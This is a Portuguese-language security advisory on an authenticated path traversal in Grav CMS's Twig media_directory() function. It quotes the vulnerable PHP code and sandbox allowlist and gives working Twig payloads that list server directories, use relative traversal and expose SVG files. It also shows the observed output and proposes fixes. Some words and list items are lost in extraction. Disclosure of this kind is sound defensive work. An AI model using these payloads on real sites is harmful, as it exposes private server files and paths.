
Aviso técnico detalhando uma vulnerabilidade de travessia de caminho autenticada na função `media_directory()` do Twig do Grav CMS, permitindo enumeração arbitrária de diretórios e divulgação de caminhos do sistema de arquivos.
media_directory()Nome: CYBER-SEC
Contato: [email protected]
A função Twig media_directory() do Grav é exposta na lista de permissões do sandbox Twig do conteúdo de páginas, mas não aplica corretamente a contenção de caminhos para entradas que não são streams.
Um usuário autenticado com privilégios de edição de páginas pode chamar media_directory('/caminho/absoluto') ou usar travessia relativa como media_directory('../../../../caminho') dentro do conteúdo de páginas habilitadas para Twig. O Grav então indexa arquivos do tipo mídia de diretórios legíveis pelo usuário do servidor web.
Os objetos Medium retornados expõem propriedades permitidas no sandbox, como e , resultando em enumeração arbitrária de diretórios e divulgação de caminhos absolutos do sistema de arquivos. Para arquivos de imagem/SVG, a geração de URL ou cache pode expor arquivos através do mecanismo público de cache do Grav.
filepathfilenameEsta é uma vulnerabilidade de divulgação de informações autenticada. Não se sabe se permite exploração não autenticada ou execução remota direta de código.
Produto: CMS de arquivos planos Grav
Repositório: https://github.com/getgrav/grav
Versões afetadas verificadas: 2.0.3, 2.0.4, 2.0.6
Componente: Twig media_directory() / sandbox Twig do conteúdo de páginas do Grav
Vetor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Pontuação Base: 6.5 Média
O ponto vulnerável está localizado em:
system/src/Grav/Common/Twig/Extension/GravExtension.php
Lógica relevante:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
Apenas entradas stream:// são resolvidas através do localizador do Grav. Caminhos absolutos ou relativos que não são streams são passados diretamente para new Media($media_dir) sem validação canônica de realpath(), rejeição de travessia ou contenção a diretórios aprovados e controlados pelo Grav.
A função é exposta através da lista de permissões do sandbox Twig do conteúdo de páginas:
system/config/security.yaml
allowed_functions:
- media_directory
O sandbox também permite métodos/propriedades de Medium como:
filepath
filename
url
cache
resize
Isso permite que um editor de páginas autenticado divulgue nomes de arquivos e caminhos absolutos de diretórios legíveis arbitrários. Para arquivos de imagem/SVG, a geração pública de URL/cache pode expor o conteúdo do arquivo.
Com o processamento de conteúdo Twig habilitado, crie ou edite uma página do Grav e insira:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Forma de travessia:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Exemplo de exposição de imagem/SVG:
{{ media_directory('/caminho/absoluto/para/privado')['secret.svg'].url }}
Quando a página é salva e renderizada, o Grav indexa arquivos do caminho controlado pelo atacante e expõe nomes de arquivos e caminhos absolutos do sistema de arquivos.
Verificado contra o Grav 2.0.6 usando a imagem Docker linuxserver/grav:latest.
Os resultados observados incluíram:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
A travessia relativa também foi confirmada:
../../../../app/www/public
A exposição de arquivos SVG através de .url também foi confirmada em um ambiente de teste local controlado.
Um editor de páginas autenticado pode:
Esta vulnerabilidade é da classe de divulgação e não deve ser relatada como execução remota de código.
Correções recomendadas:
media_directory da lista de permissões do sandbox Twig do conteúdo de páginas.ou:
media_directory():realpath().user://pages, user://images ou outros diretórios de mídia explicitamente aprovados.Este problema foi relatado pela CYBER-SEC.